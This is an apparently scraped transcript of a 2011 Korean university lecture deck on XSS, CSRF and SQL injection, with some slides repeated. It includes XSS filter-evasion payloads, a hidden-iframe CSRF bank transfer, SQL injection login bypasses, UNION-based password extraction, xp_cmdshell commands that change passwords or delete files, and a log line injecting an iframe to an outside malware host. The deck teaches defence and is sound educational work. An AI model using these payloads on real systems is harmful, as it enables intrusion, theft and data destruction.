서울여자대학교 웹애플리케이션해킹(xss&sql injection)_1

54
Web Application Hacking SQL Injection, Cross Site Scripting(XSS) Seoul Women’s University 2011.06.13 Hyun Jung Lee

Upload: ann-lee

Post on 25-Jan-2015

5.590 views

Category:

Documents


2 download

DESCRIPTION

서울여자대학교 웹 어플리케이션 해킹 공격 기법 설명 자료 입니다.

TRANSCRIPT

Page 1: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Web Application Hacking SQL Injection Cross Site Scripting(XSS)

Seoul Womenrsquos University

20110613 Hyun Jung Lee

Page 2

Index

Web Application 취약점 현황

bull Web Application 침해 사고 사례

bull 보앆 젂문 업체의 Web Application 짂단 개요 및 짂단 방법 비교

bull Web 취약점 분포 현황

Web Application 공격 기법

bull Web Application Hacking Tools

bull 주요 Web Application 공격 기법

Cross Site Scripting(XSS)

bull Cross Site Scripting(XSS) 개념 및 이해

bull Reflected Cross Site Scripting(Reflected XSS)

bull Stored Cross Site Scripting(Stored XSS)

bull Document Objected Cross Site Scripting(DOM based XSS)

bull Cross Site Scripting Request Forgery (CSRF)

bull Cross Site Scripting 대응 방앆

SQL Injection

bull SQL Injection 종류

bull SQL Injection 의 원인

bull SQL Injection 의 기본 원리

bull SQL Injection 공격 로그

bull SQL Injection 예제(14)

bull SQL Injection 대응 방앆

Page 3

Purpose

주요 Web Application Vulnerability에 대한 이해

Cross Site Scripting 개념 및 공격 기법에 대한 이해

SQL Injection 개념 및 공격 기법에 대한 이해

취약점 별 대책

Page 4

Web Application Hacking

웹 어플리케이션 침해 사고 사례

bull 중국 해커에 의한 달라이 라마 기관 컴퓨터 해킹

bull 이메일 피싱 악성코드 설치 유도 키로깅 등의 혺합 공격 증가

중국 해커가 장악한 기관 서버들 Ghost Rat으로 PC의 화상캠을 작동한 공격자 화면

httpwwwyoutubecomwatchv=Vz-gg8hxaVQ

Page 5

Web Application Hacking

웹 취약점 진단 과정 (출처 앆철수 연구소)

웹 취약점 진단 젂문 업체들의 웹 취약점 진단 방법 비교

웹 취약점 짂단 개요 및 짂단 방법 비교

Page 6

Web Application Hacking

웹 취약점 분포 현황 (12)

bull 2006~2008년 사이에 14곳의 기업을 대상으로 짂행된 웹 취약점 짂단 결과 토대로 분포율을 통계 낸 결과 ① 읶증 및 접근 제어 미흡 취약점 ② 불필요한 파읷 존재 ③ 크로스 사이트 스크립팅(XSS) 취약점과 SQL Injection 취약점 순으로 나타남

기업의 웹 취약점 분포

Page 7

Web Application Hacking

웹 취약점 분포 현황 (12)

최근 웹 취약점 분포 상세

악성코드 첨부 메읷 유포 진단 결과 감염 비율

Page 8

Web Application Hacking

Web Application Hacking Tools (AppScan Acunetix)

Page 9

Web Application Hacking

Web Application Hacking Tools(Burp Suite HTTP Watch)

JRE httpwwworaclecomtechnetworkjavajavasedownloadsjre-6u26-download-400751html

httpportswiggernetburpdownloadhtml httpwwwhttpwatchcomdownload

Page 10

Web Application Hacking

Web Application Hacking Tools (실습도구)

① ②

③ Webgoat 다운로드 httpswwwowasporgindexphpCategoryOWASP_WebGoat_Project Webgoat 설치 설명서 httpswwwowasporgindexphpWebGoat_Installation

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 2: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 2

Index

Web Application 취약점 현황

bull Web Application 침해 사고 사례

bull 보앆 젂문 업체의 Web Application 짂단 개요 및 짂단 방법 비교

bull Web 취약점 분포 현황

Web Application 공격 기법

bull Web Application Hacking Tools

bull 주요 Web Application 공격 기법

Cross Site Scripting(XSS)

bull Cross Site Scripting(XSS) 개념 및 이해

bull Reflected Cross Site Scripting(Reflected XSS)

bull Stored Cross Site Scripting(Stored XSS)

bull Document Objected Cross Site Scripting(DOM based XSS)

bull Cross Site Scripting Request Forgery (CSRF)

bull Cross Site Scripting 대응 방앆

SQL Injection

bull SQL Injection 종류

bull SQL Injection 의 원인

bull SQL Injection 의 기본 원리

bull SQL Injection 공격 로그

bull SQL Injection 예제(14)

bull SQL Injection 대응 방앆

Page 3

Purpose

주요 Web Application Vulnerability에 대한 이해

Cross Site Scripting 개념 및 공격 기법에 대한 이해

SQL Injection 개념 및 공격 기법에 대한 이해

취약점 별 대책

Page 4

Web Application Hacking

웹 어플리케이션 침해 사고 사례

bull 중국 해커에 의한 달라이 라마 기관 컴퓨터 해킹

bull 이메일 피싱 악성코드 설치 유도 키로깅 등의 혺합 공격 증가

중국 해커가 장악한 기관 서버들 Ghost Rat으로 PC의 화상캠을 작동한 공격자 화면

httpwwwyoutubecomwatchv=Vz-gg8hxaVQ

Page 5

Web Application Hacking

웹 취약점 진단 과정 (출처 앆철수 연구소)

웹 취약점 진단 젂문 업체들의 웹 취약점 진단 방법 비교

웹 취약점 짂단 개요 및 짂단 방법 비교

Page 6

Web Application Hacking

웹 취약점 분포 현황 (12)

bull 2006~2008년 사이에 14곳의 기업을 대상으로 짂행된 웹 취약점 짂단 결과 토대로 분포율을 통계 낸 결과 ① 읶증 및 접근 제어 미흡 취약점 ② 불필요한 파읷 존재 ③ 크로스 사이트 스크립팅(XSS) 취약점과 SQL Injection 취약점 순으로 나타남

기업의 웹 취약점 분포

Page 7

Web Application Hacking

웹 취약점 분포 현황 (12)

최근 웹 취약점 분포 상세

악성코드 첨부 메읷 유포 진단 결과 감염 비율

Page 8

Web Application Hacking

Web Application Hacking Tools (AppScan Acunetix)

Page 9

Web Application Hacking

Web Application Hacking Tools(Burp Suite HTTP Watch)

JRE httpwwworaclecomtechnetworkjavajavasedownloadsjre-6u26-download-400751html

httpportswiggernetburpdownloadhtml httpwwwhttpwatchcomdownload

Page 10

Web Application Hacking

Web Application Hacking Tools (실습도구)

① ②

③ Webgoat 다운로드 httpswwwowasporgindexphpCategoryOWASP_WebGoat_Project Webgoat 설치 설명서 httpswwwowasporgindexphpWebGoat_Installation

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

